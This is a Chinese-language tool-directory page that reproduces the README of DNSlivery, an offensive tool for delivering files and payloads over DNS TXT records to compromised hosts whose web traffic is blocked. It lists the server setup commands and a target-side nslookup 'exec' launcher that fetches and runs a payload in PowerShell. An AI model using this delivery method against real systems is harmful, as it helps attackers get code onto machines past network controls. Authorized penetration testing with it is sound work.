Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
DNSlivery — 通过 DNS 轻松传递文件和载荷 | Kitploit
工具/GitHubGitHub/samybaiwir/dnslivery
数据泄露渗透测试命令与控制红队DNS 分析
GitHubsamybaiwir/dnslivery

DNSlivery

通过 DNS 轻松传递文件和载荷

查看仓库
42676799个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

python-3.7 Known Vulnerabilities

DNSlivery

通过 DNS 轻松传递文件和载荷。

  • DNSlivery
  • 致谢
  • 描述
    • TL;DR
    • 你想解决什么问题?
    • 它是如何工作的?
    • 要求
  • 设置
    • DNS 区域
    • DNSlivery
  • 使用方法
    • 服务器
    • 目标

致谢

本项目最初受到 PowerDNS 和 Joff Thyer 在 Paul's Security Weekly 播客第 590 期(youtu.be/CP6cIwFJswQ)中的技术环节的启发。

描述

TL;DR

DNSlivery 允许使用 DNS 作为传输协议向目标传递文件。

功能:

  • 允许在目标上打印、执行或保存文件
  • 不需要在目标上安装任何客户端
  • 不需要完整的 DNS 服务器

demo-target.git

你想解决什么问题?

在经典 Web 传递不可行且无需专用客户端软件的情况下,轻松向已入侵的目标传递文件和/或载荷。这适用于出站 Web 流量被禁止或仅被好奇的 Web 代理检查的受限环境。

web-delivery-blocked.png

尽管已有更完整的 DNS 隧道工具(例如 dnscat2 和 iodine),但它们都要求在目标上运行专用客户端。问题在于,在这种受限环境中,除了 DNS 之外可能没有其他方式传递客户端。换句话说,使用这些工具建立 DNS 通信通道需要已经拥有一个 DNS 通信通道。

相比之下,DNSlivery 仅提供从服务器到目标的单向通信,但不需要任何专用客户端即可实现。因此,如果你需要通过 DNS 建立可靠的双向通信通道,请使用 DNSlivery 将更高级 DNS 隧道工具的客户端传递到目标。

它是如何工作的?

与大多数 DNS 隧道工具一样,DNSlivery 使用 TXT 记录以 base64 表示形式存储文件内容。然而,它不需要设置完整的 DNS 服务器即可工作。相反,它使用 scapy 库监听传入的 DNS 数据包并构造所需的响应。

network-process.png

由于大多数文件无法容纳在单个 TXT 记录中,DNSlivery 将创建多个有序记录,其中包含文件的 base64 分块。例如,上图说明了名为 file 的文件第 42 个分块的传递过程。

为了检索所有 base64 分块并在不需要目标上专用客户端的情况下将它们重新组合,DNSlivery 将为每个文件生成:

  • 一个简单的明文启动器
  • 一个可靠的 base64 编码暂存器

two-stages-delivery.png

这种两阶段传递过程是必要的,以便为暂存器添加功能(例如处理丢失的 DNS 响应),否则这些功能无法容纳在单个 TXT 记录中。

关于目标兼容性的说明

目前仅支持 PowerShell 目标。但是,DNSlivery 可以改进以支持其他目标,例如 bash 或 python。如果你想看到此功能被实现,请告诉我 @no0be。

要求

DNSlivery 不需要构建复杂的服务器基础设施。事实上,只有两个简单的要求:

  • 能够在你的公共 DNS 区域中创建 NS 记录
  • 拥有一台能够从互联网接收 udp/53 流量的 Linux 服务器

设置

DNS 区域

第一步是通过在你的域中创建新的 NS 记录,将子域委派给运行 DNSlivery 的服务器。例如,我创建了以下记录,将子域 dnsd.no0.be 委派给位于 vps.no0.be 的服务器。

dnsd    IN  NS vps.no0.be.

如果你的区域由第三方提供商管理,请参阅其文档以创建 NS 记录。

DNSlivery

运行 DNSlivery 的唯一要求是 python3 及其 scapy 库。

git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt

使用方法

服务器

DNSlivery 将提供给定目录(默认为 pwd)中的所有文件,并且需要以 root 权限运行以监听传入的 udp/53 数据包。

usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver

DNSlivery - Easy files and payloads delivery over DNS

positional arguments:
  interface             interface to listen to DNS traffic
  domain                FQDN name of the DNS zone
  nameserver            FQDN name of the server running DNSlivery

optional arguments:
  -h, --help            show this help message and exit
  -p PATH, --path PATH  path of directory to serve over DNS (default: pwd)
  -s SIZE, --size SIZE  size in bytes of base64 chunks (default: 255)
  -v, --verbose         increase verbosity

示例:

$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery

DNSlivery - Easy files and payloads delivery over DNS

[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...

关于文件名规范化的说明

由于域名允许的字符集比 UNIX 文件名(根据 RFC1035)限制更严格,DNSlivery 将在需要时执行规范化。

示例:

[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)

请注意,当前的规范化代码并不完美,因为它没有考虑文件名重叠或大小限制。

目标

在目标上,首先通过请求所需文件的专用 TXT 记录来检索启动器。支持以下三种启动器:

操作启动器描述
打印[filename].print.[domain](默认)将传递的文件打印到控制台
执行[filename].exec.[domain]执行传递的文件(对脚本有用)
保存[filename].save.[domain]将传递的文件保存到磁盘(对二进制文件有用)
nslookup -type=txt [filename].[stager].[domain]

然后,只需将 DNS 响应中引用的启动器复制并粘贴到 PowerShell 控制台即可在目标上检索文件。

示例:

demo-target.git

下载工具